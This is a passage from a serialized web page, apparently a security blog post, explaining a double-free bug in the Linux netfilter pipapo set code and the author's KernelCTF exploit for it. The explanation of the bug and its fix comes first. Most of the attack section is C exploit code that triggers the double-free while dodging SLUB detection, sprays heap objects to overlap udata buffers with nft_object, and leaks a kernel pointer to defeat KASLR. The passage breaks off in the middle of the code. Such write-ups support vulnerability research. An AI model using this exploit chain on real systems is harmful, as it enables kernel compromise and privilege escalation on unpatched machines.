uncommitted elements, it's crucial to free what's in the clone.",{"type":25,"tag":38,"props":58093,"children":58094},{},[58095,58097,58103,58105,58110,58112,58117],{"type":31,"value":58096},"When this code was introduced, it was only reachable from the abort path because it was the only path where ",{"type":25,"tag":82,"props":58098,"children":58100},{"className":58099},[],[58101],{"type":31,"value":58102},"set->ops->destroy()",{"type":31,"value":58104}," could be called without clearing the ",{"type":25,"tag":82,"props":58106,"children":58108},{"className":58107},[],[58109],{"type":31,"value":54936},{"type":31,"value":58111}," flag, which was fine considering you didn't have duplicated views of the ",{"type":25,"tag":82,"props":58113,"children":58115},{"className":58114},[],[58116],{"type":31,"value":54974},{"type":31,"value":58118},"s, so they would all be in the clone set.",{"type":25,"tag":38,"props":58120,"children":58121},{},[58122,58124,58129],{"type":31,"value":58123},"But when the ",{"type":25,"tag":82,"props":58125,"children":58127},{"className":58126},[],[58128],{"type":31,"value":57691},{"type":31,"value":58130}," flag was introduced, some assumptions about the commit path were changed. It created a new way of reaching this code while having already committed changes in the set. This means any already committed changes will have a view in the \"normal\" match object and one in the clone.",{"type":25,"tag":38,"props":58132,"children":58133},{},[58134],{"type":31,"value":58135},"The vulnerability was fixed by only deleting elements from the clone because the clone should have all views of committed and uncommitted changes, effectively eliminating the double-free vulnerability.",{"type":25,"tag":26,"props":58137,"children":58139},{"id":58138},"kernelctf-exploit",[58140],{"type":31,"value":58141},"KernelCTF exploit",{"type":25,"tag":38,"props":58143,"children":58144},{},[58145,58147,58153,58155,58162],{"type":31,"value":58146},"Now that we know the full story of the bug, let's look into how I exploited it in the KernelCTF LTS instance before getting into the universal exploit. A great deal of the exploit is based on the ",{"type":25,"tag":82,"props":58148,"children":58150},{"className":58149},[],[58151],{"type":31,"value":58152},"nft_object + udata",{"type":31,"value":58154}," technique shared by lonial con in a ",{"type":25,"tag":162,"props":58156,"children":58159},{"href":58157,"rel":58158},"https://github.com/google/security-research/blob/master/pocs/linux/kernelctf/CVE-2023-4004_lts_cos_mitigation/docs/exploit.md",[166],[58160],{"type":31,"value":58161},"previous kernelCTF exploit",{"type":31,"value":179},{"type":25,"tag":607,"props":58164,"children":58166},{"id":58165},"trigger-uafavoid-double-free-detection",[58167],{"type":31,"value":58168},"Trigger UAF/avoid double-free detection",{"type":25,"tag":38,"props":58170,"children":58171},{},[58172,58174,58180,58182,58188],{"type":31,"value":58173},"The SLUB allocator has a naive double-free detection mechanism to spot straightforward sequences, such as the same object being added to the free-list twice in a row without any other objects being added in between.\nAs we have seen, ",{"type":25,"tag":82,"props":58175,"children":58177},{"className":58176},[],[58178],{"type":31,"value":58179},"nft_set_pipapo_match_destroy",{"type":31,"value":58181}," iterates over the ",{"type":25,"tag":82,"props":58183,"children":58185},{"className":58184},[],[58186],{"type":31,"value":58187},"setelems",{"type":31,"value":58189}," in the set and frees each of them, so it should be relatively simple to avoid detection by having more than one element in the set, in which case the following will happen:",{"type":25,"tag":6705,"props":58191,"children":58192},{},[58193,58198,58203,58208],{"type":25,"tag":2037,"props":58194,"children":58195},{},[58196],{"type":31,"value":58197},"Element A gets freed",{"type":25,"tag":2037,"props":58199,"children":58200},{},[58201],{"type":31,"value":58202},"Element B gets free",{"type":25,"tag":2037,"props":58204,"children":58205},{},[58206],{"type":31,"value":58207},"Element A gets freed again (double-free)",{"type":25,"tag":2037,"props":58209,"children":58210},{},[58211],{"type":31,"value":58212},"Element B gets freed again (double-free)",{"type":25,"tag":206,"props":58214,"children":58216},{"className":33064,"code":58215,"language":33066,"meta":7,"style":7},"[...]\nstatic void trigger_uaf(struct mnl_socket *nl, size_t size, int *msgqids)\n{\n[...]\n    // TRANSACTION 2\n[...]\n\n    // create pipapo set\n    uint8_t desc[2] = {16, 16};\n    set = create_set(\n        batch, seq++, exploit_table_name, \"pwn_set\", 0x1337,\n        NFT_SET_INTERVAL | NFT_SET_OBJECT | NFT_SET_CONCAT, KEY_LEN, 2, &desc, NULL, 0, NFT_OBJECT_CT_EXPECT);\n\n    // commit 2 elems to set (elems A and B that will be double-freed)\n    for (int i = 0; i \u003C 2; i++)\n    {\n        elem[i] = nftnl_set_elem_alloc();\n        memset(key, 0x41 + i, KEY_LEN);\n        nftnl_set_elem_set(elem[i], NFTNL_SET_ELEM_OBJREF, \"pwnobj\", 7);\n        nftnl_set_elem_set(elem[i], NFTNL_SET_ELEM_KEY, &key, KEY_LEN);\n        nftnl_set_elem_set(elem[i], NFTNL_SET_ELEM_USERDATA, &udata_buf, size);\n        nftnl_set_elem_add(set, elem[i]);\n    }\n[...]\n\n    // TRANSACTION 3\n[...]\n    set = nftnl_set_alloc();\n    nftnl_set_set_u32(set, NFTNL_SET_FAMILY, family);\n    nftnl_set_set_str(set, NFTNL_SET_TABLE, exploit_table_name);\n    nftnl_set_set_str(set, NFTNL_SET_NAME, \"pwn_set\");\n\n    // make priv->dirty true\n    memset(key, 0xff, KEY_LEN);\n    elem[3] = nftnl_set_elem_alloc();\n    nftnl_set_elem_set(elem[3], NFTNL_SET_ELEM_OBJREF, \"pwnobj\", 7);\n    nftnl_set_elem_set(elem[3], NFTNL_SET_ELEM_KEY, &key, KEY_LEN);\n    nftnl_set_elem_add(set, elem[3]);\n[...]\n\n    // double-free commited elems\n[...]\n    nftnl_set_free(set);\n}\n[...]\n",[58217],{"type":25,"tag":82,"props":58218,"children":58219},{"__ignoreMap":7},[58220,58227,58288,58295,58302,58310,58317,58324,58332,58356,58377,58411,58472,58479,58487,58539,58546,58572,58599,58638,58667,58696,58718,58725,58732,58739,58747,58754,58762,58775,58788,58808,58815,58823,58845,58877,58922,58958,58986,58993,59000,59008,59015,59031,59038],{"type":25,"tag":216,"props":58221,"children":58222},{"class":6916,"line":6917},[58223],{"type":25,"tag":216,"props":58224,"children":58225},{"style":6958},[58226],{"type":31,"value":14269},{"type":25,"tag":216,"props":58228,"children":58229},{"class":6916,"line":6763},[58230,58235,58239,58244,58248,58253,58257,58262,58267,58271,58275,58279,58284],{"type":25,"tag":216,"props":58231,"children":58232},{"style":6958},[58233],{"type":31,"value":58234},"static void trigger_uaf(",{"type":25,"tag":216,"props":58236,"children":58237},{"style":6930},[58238],{"type":31,"value":13351},{"type":25,"tag":216,"props":58240,"children":58241},{"style":7369},[58242],{"type":31,"value":58243}," mnl_socket",{"type":25,"tag":216,"props":58245,"children":58246},{"style":6930},[58247],{"type":31,"value":13767},{"type":25,"tag":216,"props":58249,"children":58250},{"style":6941},[58251],{"type":31,"value":58252},"nl",{"type":25,"tag":216,"props":58254,"children":58255},{"style":6958},[58256],{"type":31,"value":7020},{"type":25,"tag":216,"props":58258,"children":58259},{"style":6930},[58260],{"type":31,"value":58261},"size_t",{"type":25,"tag":216,"props":58263,"children":58264},{"style":6941},[58265],{"type":31,"value":58266}," size",{"type":25,"tag":216,"props":58268,"children":58269},{"style":6958},[58270],{"type":31,"value":7020},{"type":25,"tag":216,"props":58272,"children":58273},{"style":6930},[58274],{"type":31,"value":23001},{"type":25,"tag":216,"props":58276,"children":58277},{"style":6930},[58278],{"type":31,"value":13767},{"type":25,"tag":216,"props":58280,"children":58281},{"style":6941},[58282],{"type":31,"value":58283},"msgqids",{"type":25,"tag":216,"props":58285,"children":58286},{"style":6958},[58287],{"type":31,"value":7101},{"type":25,"tag":216,"props":58289,"children":58290},{"class":6916,"line":6772},[58291],{"type":25,"tag":216,"props":58292,"children":58293},{"style":6958},[58294],{"type":31,"value":14830},{"type":25,"tag":216,"props":58296,"children":58297},{"class":6916,"line":6999},[58298],{"type":25,"tag":216,"props":58299,"children":58300},{"style":6958},[58301],{"type":31,"value":14269},{"type":25,"tag":216,"props":58303,"children":58304},{"class":6916,"line":7104},[58305],{"type":25,"tag":216,"props":58306,"children":58307},{"style":6958},[58308],{"type":31,"value":58309},"    // TRANSACTION 2\n",{"type":25,"tag":216,"props":58311,"children":58312},{"class":6916,"line":7210},[58313],{"type":25,"tag":216,"props":58314,"children":58315},{"style":6958},[58316],{"type":31,"value":14269},{"type":25,"tag":216,"props":58318,"children":58319},{"class":6916,"line":7238},[58320],{"type":25,"tag":216,"props":58321,"children":58322},{"emptyLinePlaceholder":16},[58323],{"type":31,"value":7636},{"type":25,"tag":216,"props":58325,"children":58326},{"class":6916,"line":7251},[58327],{"type":25,"tag":216,"props":58328,"children":58329},{"style":6958},[58330],{"type":31,"value":58331},"    // create pipapo set\n",{"type":25,"tag":216,"props":58333,"children":58334},{"class":6916,"line":7269},[58335,58340,58344,58348,58352],{"type":25,"tag":216,"props":58336,"children":58337},{"style":6958},[58338],{"type":31,"value":58339},"    uint8_t desc[2] = {",{"type":25,"tag":216,"props":58341,"children":58342},{"style":6983},[58343],{"type":31,"value":44805},{"type":25,"tag":216,"props":58345,"children":58346},{"style":6958},[58347],{"type":31,"value":7020},{"type":25,"tag":216,"props":58349,"children":58350},{"style":6983},[58351],{"type":31,"value":44805},{"type":25,"tag":216,"props":58353,"children":58354},{"style":6958},[58355],{"type":31,"value":20530},{"type":25,"tag":216,"props":58357,"children":58358},{"class":6916,"line":7290},[58359,58364,58368,58373],{"type":25,"tag":216,"props":58360,"children":58361},{"style":6958},[58362],{"type":31,"value":58363},"    set ",{"type":25,"tag":216,"props":58365,"children":58366},{"style":6947},[58367],{"type":31,"value":266},{"type":25,"tag":216,"props":58369,"children":58370},{"style":7041},[58371],{"type":31,"value":58372}," create_set",{"type":25,"tag":216,"props":58374,"children":58375},{"style":6958},[58376],{"type":31,"value":7414},{"type":25,"tag":216,"props":58378,"children":58379},{"class":6916,"line":7299},[58380,58385,58389,58394,58399,58403,58407],{"type":25,"tag":216,"props":58381,"children":58382},{"style":6958},[58383],{"type":31,"value":58384},"        batch, seq",{"type":25,"tag":216,"props":58386,"children":58387},{"style":6947},[58388],{"type":31,"value":55232},{"type":25,"tag":216,"props":58390,"children":58391},{"style":6958},[58392],{"type":31,"value":58393},", exploit_table_name, ",{"type":25,"tag":216,"props":58395,"children":58396},{"style":8199},[58397],{"type":31,"value":58398},"\"pwn_set\"",{"type":25,"tag":216,"props":58400,"children":58401},{"style":6958},[58402],{"type":31,"value":7020},{"type":25,"tag":216,"props":58404,"children":58405},{"style":6983},[58406],{"type":31,"value":47462},{"type":25,"tag":216,"props":58408,"children":58409},{"style":6958},[58410],{"type":31,"value":7459},{"type":25,"tag":216,"props":58412,"children":58413},{"class":6916,"line":7551},[58414,58419,58423,58428,58432,58437,58441,58445,58449,58454,58459,58463,58467],{"type":25,"tag":216,"props":58415,"children":58416},{"style":6958},[58417],{"type":31,"value":58418},"        NFT_SET_INTERVAL ",{"type":25,"tag":216,"props":58420,"children":58421},{"style":6947},[58422],{"type":31,"value":14367},{"type":25,"tag":216,"props":58424,"children":58425},{"style":6958},[58426],{"type":31,"value":58427}," NFT_SET_OBJECT ",{"type":25,"tag":216,"props":58429,"children":58430},{"style":6947},[58431],{"type":31,"value":14367},{"type":25,"tag":216,"props":58433,"children":58434},{"style":6958},[58435],{"type":31,"value":58436}," NFT_SET_CONCAT, KEY_LEN, ",{"type":25,"tag":216,"props":58438,"children":58439},{"style":6983},[58440],{"type":31,"value":331},{"type":25,"tag":216,"props":58442,"children":58443},{"style":6958},[58444],{"type":31,"value":7020},{"type":25,"tag":216,"props":58446,"children":58447},{"style":6947},[58448],{"type":31,"value":7053},{"type":25,"tag":216,"props":58450,"children":58451},{"style":6958},[58452],{"type":31,"value":58453},"desc, ",{"type":25,"tag":216,"props":58455,"children":58456},{"style":6930},[58457],{"type":31,"value":58458},"NULL",{"type":25,"tag":216,"props":58460,"children":58461},{"style":6958},[58462],{"type":31,"value":7020},{"type":25,"tag":216,"props":58464,"children":58465},{"style":6983},[58466],{"type":31,"value":1876},{"type":25,"tag":216,"props":58468,"children":58469},{"style":6958},[58470],{"type":31,"value":58471},", NFT_OBJECT_CT_EXPECT);\n",{"type":25,"tag":216,"props":58473,"children":58474},{"class":6916,"line":7568},[58475],{"type":25,"tag":216,"props":58476,"children":58477},{"emptyLinePlaceholder":16},[58478],{"type":31,"value":7636},{"type":25,"tag":216,"props":58480,"children":58481},{"class":6916,"line":7585},[58482],{"type":25,"tag":216,"props":58483,"children":58484},{"style":6921},[58485],{"type":31,"value":58486},"    // commit 2 elems to set (elems A and B that will be double-freed)\n",{"type":25,"tag":216,"props":58488,"children":58489},{"class":6916,"line":7598},[58490,58494,58498,58502,58507,58511,58515,58519,58523,58527,58531,58535],{"type":25,"tag":216,"props":58491,"children":58492},{"style":6967},[58493],{"type":31,"value":6970},{"type":25,"tag":216,"props":58495,"children":58496},{"style":6958},[58497],{"type":31,"value":7010},{"type":25,"tag":216,"props":58499,"children":58500},{"style":6930},[58501],{"type":31,"value":23001},{"type":25,"tag":216,"props":58503,"children":58504},{"style":6958},[58505],{"type":31,"value":58506}," i ",{"type":25,"tag":216,"props":58508,"children":58509},{"style":6947},[58510],{"type":31,"value":266},{"type":25,"tag":216,"props":58512,"children":58513},{"style":6983},[58514],{"type":31,"value":6986},{"type":25,"tag":216,"props":58516,"children":58517},{"style":6958},[58518],{"type":31,"value":55196},{"type":25,"tag":216,"props":58520,"children":58521},{"style":6947},[58522],{"type":31,"value":9751},{"type":25,"tag":216,"props":58524,"children":58525},{"style":6983},[58526],{"type":31,"value":11880},{"type":25,"tag":216,"props":58528,"children":58529},{"style":6958},[58530],{"type":31,"value":55227},{"type":25,"tag":216,"props":58532,"children":58533},{"style":6947},[58534],{"type":31,"value":55232},{"type":25,"tag":216,"props":58536,"children":58537},{"style":6958},[58538],{"type":31,"value":7101},{"type":25,"tag":216,"props":58540,"children":58541},{"class":6916,"line":7607},[58542],{"type":25,"tag":216,"props":58543,"children":58544},{"style":6958},[58545],{"type":31,"value":33141},{"type":25,"tag":216,"props":58547,"children":58548},{"class":6916,"line":7630},[58549,58554,58559,58563,58568],{"type":25,"tag":216,"props":58550,"children":58551},{"style":6941},[58552],{"type":31,"value":58553},"        elem",{"type":25,"tag":216,"props":58555,"children":58556},{"style":6958},[58557],{"type":31,"value":58558},"[i] ",{"type":25,"tag":216,"props":58560,"children":58561},{"style":6947},[58562],{"type":31,"value":266},{"type":25,"tag":216,"props":58564,"children":58565},{"style":7041},[58566],{"type":31,"value":58567}," nftnl_set_elem_alloc",{"type":25,"tag":216,"props":58569,"children":58570},{"style":6958},[58571],{"type":31,"value":7627},{"type":25,"tag":216,"props":58573,"children":58574},{"class":6916,"line":7639},[58575,58580,58585,58590,58594],{"type":25,"tag":216,"props":58576,"children":58577},{"style":7041},[58578],{"type":31,"value":58579},"        memset",{"type":25,"tag":216,"props":58581,"children":58582},{"style":6958},[58583],{"type":31,"value":58584},"(key, ",{"type":25,"tag":216,"props":58586,"children":58587},{"style":6983},[58588],{"type":31,"value":58589},"0x41",{"type":25,"tag":216,"props":58591,"children":58592},{"style":6947},[58593],{"type":31,"value":12852},{"type":25,"tag":216,"props":58595,"children":58596},{"style":6958},[58597],{"type":31,"value":58598}," i, KEY_LEN);\n",{"type":25,"tag":216,"props":58600,"children":58601},{"class":6916,"line":7648},[58602,58607,58611,58615,58620,58625,58629,58634],{"type":25,"tag":216,"props":58603,"children":58604},{"style":7041},[58605],{"type":31,"value":58606},"        nftnl_set_elem_set",{"type":25,"tag":216,"props":58608,"children":58609},{"style":6958},[58610],{"type":31,"value":1844},{"type":25,"tag":216,"props":58612,"children":58613},{"style":6941},[58614],{"type":31,"value":56026},{"type":25,"tag":216,"props":58616,"children":58617},{"style":6958},[58618],{"type":31,"value":58619},"[i], NFTNL_SET_ELEM_OBJREF, ",{"type":25,"tag":216,"props":58621,"children":58622},{"style":8199},[58623],{"type":31,"value":58624},"\"pwnobj\"",{"type":25,"tag":216,"props":58626,"children":58627},{"style":6958},[58628],{"type":31,"value":7020},{"type":25,"tag":216,"props":58630,"children":58631},{"style":6983},[58632],{"type":31,"value":58633},"7",{"type":25,"tag":216,"props":58635,"children":58636},{"style":6958},[58637],{"type":31,"value":7791},{"type":25,"tag":216,"props":58639,"children":58640},{"class":6916,"line":7716},[58641,58645,58649,58653,58658,58662],{"type":25,"tag":216,"props":58642,"children":58643},{"style":7041},[58644],{"type":31,"value":58606},{"type":25,"tag":216,"props":58646,"children":58647},{"style":6958},[58648],{"type":31,"value":1844},{"type":25,"tag":216,"props":58650,"children":58651},{"style":6941},[58652],{"type":31,"value":56026},{"type":25,"tag":216,"props":58654,"children":58655},{"style":6958},[58656],{"type":31,"value":58657},"[i], NFTNL_SET_ELEM_KEY, ",{"type":25,"tag":216,"props":58659,"children":58660},{"style":6947},[58661],{"type":31,"value":7053},{"type":25,"tag":216,"props":58663,"children":58664},{"style":6958},[58665],{"type":31,"value":58666},"key, KEY_LEN);\n",{"type":25,"tag":216,"props":58668,"children":58669},{"class":6916,"line":7724},[58670,58674,58678,58682,58687,58691],{"type":25,"tag":216,"props":58671,"children":58672},{"style":7041},[58673],{"type":31,"value":58606},{"type":25,"tag":216,"props":58675,"children":58676},{"style":6958},[58677],{"type":31,"value":1844},{"type":25,"tag":216,"props":58679,"children":58680},{"style":6941},[58681],{"type":31,"value":56026},{"type":25,"tag":216,"props":58683,"children":58684},{"style":6958},[58685],{"type":31,"value":58686},"[i], NFTNL_SET_ELEM_USERDATA, ",{"type":25,"tag":216,"props":58688,"children":58689},{"style":6947},[58690],{"type":31,"value":7053},{"type":25,"tag":216,"props":58692,"children":58693},{"style":6958},[58694],{"type":31,"value":58695},"udata_buf, size);\n",{"type":25,"tag":216,"props":58697,"children":58698},{"class":6916,"line":7754},[58699,58704,58709,58713],{"type":25,"tag":216,"props":58700,"children":58701},{"style":7041},[58702],{"type":31,"value":58703},"        nftnl_set_elem_add",{"type":25,"tag":216,"props":58705,"children":58706},{"style":6958},[58707],{"type":31,"value":58708},"(set, ",{"type":25,"tag":216,"props":58710,"children":58711},{"style":6941},[58712],{"type":31,"value":56026},{"type":25,"tag":216,"props":58714,"children":58715},{"style":6958},[58716],{"type":31,"value":58717},"[i]);\n",{"type":25,"tag":216,"props":58719,"children":58720},{"class":6916,"line":7762},[58721],{"type":25,"tag":216,"props":58722,"children":58723},{"style":6958},[58724],{"type":31,"value":7305},{"type":25,"tag":216,"props":58726,"children":58727},{"class":6916,"line":7794},[58728],{"type":25,"tag":216,"props":58729,"children":58730},{"style":6958},[58731],{"type":31,"value":14269},{"type":25,"tag":216,"props":58733,"children":58734},{"class":6916,"line":7802},[58735],{"type":25,"tag":216,"props":58736,"children":58737},{"emptyLinePlaceholder":16},[58738],{"type":31,"value":7636},{"type":25,"tag":216,"props":58740,"children":58741},{"class":6916,"line":7862},[58742],{"type":25,"tag":216,"props":58743,"children":58744},{"style":6958},[58745],{"type":31,"value":58746},"    // TRANSACTION 3\n",{"type":25,"tag":216,"props":58748,"children":58749},{"class":6916,"line":12995},[58750],{"type":25,"tag":216,"props":58751,"children":58752},{"style":6958},[58753],{"type":31,"value":14269},{"type":25,"tag":216,"props":58755,"children":58756},{"class":6916,"line":13013},[58757],{"type":25,"tag":216,"props":58758,"children":58759},{"style":6958},[58760],{"type":31,"value":58761},"    set = nftnl_set_alloc();\n",{"type":25,"tag":216,"props":58763,"children":58764},{"class":6916,"line":13058},[58765,58770],{"type":25,"tag":216,"props":58766,"children":58767},{"style":7041},[58768],{"type":31,"value":58769},"    nftnl_set_set_u32",{"type":25,"tag":216,"props":58771,"children":58772},{"style":6958},[58773],{"type":31,"value":58774},"(set, NFTNL_SET_FAMILY, family);\n",{"type":25,"tag":216,"props":58776,"children":58777},{"class":6916,"line":13164},[58778,58783],{"type":25,"tag":216,"props":58779,"children":58780},{"style":7041},[58781],{"type":31,"value":58782},"    nftnl_set_set_str",{"type":25,"tag":216,"props":58784,"children":58785},{"style":6958},[58786],{"type":31,"value":58787},"(set, NFTNL_SET_TABLE, exploit_table_name);\n",{"type":25,"tag":216,"props":58789,"children":58790},{"class":6916,"line":27449},[58791,58795,58800,58804],{"type":25,"tag":216,"props":58792,"children":58793},{"style":7041},[58794],{"type":31,"value":58782},{"type":25,"tag":216,"props":58796,"children":58797},{"style":6958},[58798],{"type":31,"value":58799},"(set, NFTNL_SET_NAME, ",{"type":25,"tag":216,"props":58801,"children":58802},{"style":8199},[58803],{"type":31,"value":58398},{"type":25,"tag":216,"props":58805,"children":58806},{"style":6958},[58807],{"type":31,"value":7791},{"type":25,"tag":216,"props":58809,"children":58810},{"class":6916,"line":27484},[58811],{"type":25,"tag":216,"props":58812,"children":58813},{"emptyLinePlaceholder":16},[58814],{"type":31,"value":7636},{"type":25,"tag":216,"props":58816,"children":58817},{"class":6916,"line":27492},[58818],{"type":25,"tag":216,"props":58819,"children":58820},{"style":6921},[58821],{"type":31,"value":58822},"    // make priv->dirty true\n",{"type":25,"tag":216,"props":58824,"children":58825},{"class":6916,"line":27500},[58826,58831,58835,58840],{"type":25,"tag":216,"props":58827,"children":58828},{"style":7041},[58829],{"type":31,"value":58830},"    memset",{"type":25,"tag":216,"props":58832,"children":58833},{"style":6958},[58834],{"type":31,"value":58584},{"type":25,"tag":216,"props":58836,"children":58837},{"style":6983},[58838],{"type":31,"value":58839},"0xff",{"type":25,"tag":216,"props":58841,"children":58842},{"style":6958},[58843],{"type":31,"value":58844},", KEY_LEN);\n",{"type":25,"tag":216,"props":58846,"children":58847},{"class":6916,"line":27509},[58848,58853,58857,58861,58865,58869,58873],{"type":25,"tag":216,"props":58849,"children":58850},{"style":6941},[58851],{"type":31,"value":58852},"    elem",{"type":25,"tag":216,"props":58854,"children":58855},{"style":6958},[58856],{"type":31,"value":7695},{"type":25,"tag":216,"props":58858,"children":58859},{"style":6983},[58860],{"type":31,"value":21247},{"type":25,"tag":216,"props":58862,"children":58863},{"style":6958},[58864],{"type":31,"value":12608},{"type":25,"tag":216,"props":58866,"children":58867},{"style":6947},[58868],{"type":31,"value":266},{"type":25,"tag":216,"props":58870,"children":58871},{"style":7041},[58872],{"type":31,"value":58567},{"type":25,"tag":216,"props":58874,"children":58875},{"style":6958},[58876],{"type":31,"value":7627},{"type":25,"tag":216,"props":58878,"children":58879},{"class":6916,"line":27551},[58880,58885,58889,58893,58897,58901,58906,58910,58914,58918],{"type":25,"tag":216,"props":58881,"children":58882},{"style":7041},[58883],{"type":31,"value":58884},"    nftnl_set_elem_set",{"type":25,"tag":216,"props":58886,"children":58887},{"style":6958},[58888],{"type":31,"value":1844},{"type":25,"tag":216,"props":58890,"children":58891},{"style":6941},[58892],{"type":31,"value":56026},{"type":25,"tag":216,"props":58894,"children":58895},{"style":6958},[58896],{"type":31,"value":7695},{"type":25,"tag":216,"props":58898,"children":58899},{"style":6983},[58900],{"type":31,"value":21247},{"type":25,"tag":216,"props":58902,"children":58903},{"style":6958},[58904],{"type":31,"value":58905},"], NFTNL_SET_ELEM_OBJREF, ",{"type":25,"tag":216,"props":58907,"children":58908},{"style":8199},[58909],{"type":31,"value":58624},{"type":25,"tag":216,"props":58911,"children":58912},{"style":6958},[58913],{"type":31,"value":7020},{"type":25,"tag":216,"props":58915,"children":58916},{"style":6983},[58917],{"type":31,"value":58633},{"type":25,"tag":216,"props":58919,"children":58920},{"style":6958},[58921],{"type":31,"value":7791},{"type":25,"tag":216,"props":58923,"children":58924},{"class":6916,"line":27584},[58925,58929,58933,58937,58941,58945,58950,58954],{"type":25,"tag":216,"props":58926,"children":58927},{"style":7041},[58928],{"type":31,"value":58884},{"type":25,"tag":216,"props":58930,"children":58931},{"style":6958},[58932],{"type":31,"value":1844},{"type":25,"tag":216,"props":58934,"children":58935},{"style":6941},[58936],{"type":31,"value":56026},{"type":25,"tag":216,"props":58938,"children":58939},{"style":6958},[58940],{"type":31,"value":7695},{"type":25,"tag":216,"props":58942,"children":58943},{"style":6983},[58944],{"type":31,"value":21247},{"type":25,"tag":216,"props":58946,"children":58947},{"style":6958},[58948],{"type":31,"value":58949},"], NFTNL_SET_ELEM_KEY, ",{"type":25,"tag":216,"props":58951,"children":58952},{"style":6947},[58953],{"type":31,"value":7053},{"type":25,"tag":216,"props":58955,"children":58956},{"style":6958},[58957],{"type":31,"value":58666},{"type":25,"tag":216,"props":58959,"children":58960},{"class":6916,"line":27592},[58961,58966,58970,58974,58978,58982],{"type":25,"tag":216,"props":58962,"children":58963},{"style":7041},[58964],{"type":31,"value":58965},"    nftnl_set_elem_add",{"type":25,"tag":216,"props":58967,"children":58968},{"style":6958},[58969],{"type":31,"value":58708},{"type":25,"tag":216,"props":58971,"children":58972},{"style":6941},[58973],{"type":31,"value":56026},{"type":25,"tag":216,"props":58975,"children":58976},{"style":6958},[58977],{"type":31,"value":7695},{"type":25,"tag":216,"props":58979,"children":58980},{"style":6983},[58981],{"type":31,"value":21247},{"type":25,"tag":216,"props":58983,"children":58984},{"style":6958},[58985],{"type":31,"value":7713},{"type":25,"tag":216,"props":58987,"children":58988},{"class":6916,"line":27600},[58989],{"type":25,"tag":216,"props":58990,"children":58991},{"style":6958},[58992],{"type":31,"value":14269},{"type":25,"tag":216,"props":58994,"children":58995},{"class":6916,"line":27609},[58996],{"type":25,"tag":216,"props":58997,"children":58998},{"emptyLinePlaceholder":16},[58999],{"type":31,"value":7636},{"type":25,"tag":216,"props":59001,"children":59002},{"class":6916,"line":27685},[59003],{"type":25,"tag":216,"props":59004,"children":59005},{"style":6958},[59006],{"type":31,"value":59007},"    // double-free commited elems\n",{"type":25,"tag":216,"props":59009,"children":59010},{"class":6916,"line":27718},[59011],{"type":25,"tag":216,"props":59012,"children":59013},{"style":6958},[59014],{"type":31,"value":14269},{"type":25,"tag":216,"props":59016,"children":59017},{"class":6916,"line":27726},[59018,59023,59027],{"type":25,"tag":216,"props":59019,"children":59020},{"style":6958},[59021],{"type":31,"value":59022},"    nftnl_set_free(",{"type":25,"tag":216,"props":59024,"children":59025},{"style":7369},[59026],{"type":31,"value":54982},{"type":25,"tag":216,"props":59028,"children":59029},{"style":6958},[59030],{"type":31,"value":7791},{"type":25,"tag":216,"props":59032,"children":59033},{"class":6916,"line":27734},[59034],{"type":25,"tag":216,"props":59035,"children":59036},{"style":6958},[59037],{"type":31,"value":7868},{"type":25,"tag":216,"props":59039,"children":59040},{"class":6916,"line":27771},[59041],{"type":25,"tag":216,"props":59042,"children":59043},{"style":6958},[59044],{"type":31,"value":14269},{"type":25,"tag":607,"props":59046,"children":59048},{"id":59047},"leaking-kaslr",[59049],{"type":31,"value":59050},"Leaking KASLR",{"type":25,"tag":38,"props":59052,"children":59053},{},[59054,59056,59062,59064,59069,59071,59077,59079,59085,59087],{"type":31,"value":59055},"Tables contain an outline user data buffer ",{"type":25,"tag":82,"props":59057,"children":59059},{"className":59058},[],[59060],{"type":31,"value":59061},"udata",{"type":31,"value":59063}," that we can both read and write. By allocating a ",{"type":25,"tag":82,"props":59065,"children":59067},{"className":59066},[],[59068],{"type":31,"value":59061},{"type":31,"value":59070}," buffer on the double-free slot and then overlapping it with an ",{"type":25,"tag":82,"props":59072,"children":59074},{"className":59073},[],[59075],{"type":31,"value":59076},"nft_object",{"type":31,"value":59078}," we can leak the ",{"type":25,"tag":82,"props":59080,"children":59082},{"className":59081},[],[59083],{"type":31,"value":59084},"->ops",{"type":31,"value":59086}," pointer, and use it to calculate the KASLR slide.\n",{"type":25,"tag":6461,"props":59088,"children":59090},{"alt":54541,"src":59089},"/posts/netfilter-universal-root-1-day/kaslr.png",[],{"type":25,"tag":206,"props":59092,"children":59094},{"className":33064,"code":59093,"language":33066,"meta":7,"style":7},"[...]\n    // spray 3 udata buffers to consume elems A, B and A again\n    udata_spray(nl, 0xe8, 0, 3, NULL);\n\n    // check if overlap happened (i.e if we have to overlapping udata buffers)\n    char spray_name[16];\n    char *udata[3];\n    for (int i = 0; i \u003C 3; i++)\n    {\n        snprintf(spray_name, sizeof(spray_name), \"spray-%i\", i);\n        udata[i] = getudata(nl, spray_name);\n    }\n    if (udata[0][0] == udata[2][0])\n    {\n        puts(\"[+] got duplicated table\");\n    }\n\n    // Replace one of the udata buffers with nft_object\n    // and read it's counterpart to leak the nft_object struct\n    puts(\"[*] Info leak\");\n    deludata_spray(nl, 0, 1);\n    wait_destroyer();\n    obj_spray(nl, 0, 1, NULL, 0);\n    uint64_t *fake_obj = (uint64_t *)getudata(nl, \"spray-2\");\n[...]\n",[59095],{"type":25,"tag":82,"props":59096,"children":59097},{"__ignoreMap":7},[59098,59105,59113,59148,59155,59163,59188,59215,59266,59273,59306,59332,59339,59404,59411,59432,59439,59446,59454,59462,59483,59512,59524,59568,59624],{"type":25,"tag":216,"props":59099,"children":59100},{"class":6916,"line":6917},[59101],{"type":25,"tag":216,"props":59102,"children":59103},{"style":6958},[59104],{"type":31,"value":14269},{"type":25,"tag":216,"props":59106,"children":59107},{"class":6916,"line":6763},[59108],{"type":25,"tag":216,"props":59109,"children":59110},{"style":6958},[59111],{"type":31,"value":59112},"    // spray 3 udata buffers to consume elems A, B and A again\n",{"type":25,"tag":216,"props":59114,"children":59115},{"class":6916,"line":6772},[59116,59121,59125,59130,59135,59140,59144],{"type":25,"tag":216,"props":59117,"children":59118},{"style":6958},[59119],{"type":31,"value":59120},"    udata_spray(",{"type":25,"tag":216,"props":59122,"children":59123},{"style":7369},[59124],{"type":31,"value":58252},{"type":25,"tag":216,"props":59126,"children":59127},{"style":6958},[59128],{"type":31,"value":59129},", 0",{"type":25,"tag":216,"props":59131,"children":59132},{"style":7369},[59133],{"type":31,"value":59134},"xe8",{"type":25,"tag":216,"props":59136,"children":59137},{"style":6958},[59138],{"type":31,"value":59139},", 0, 3, 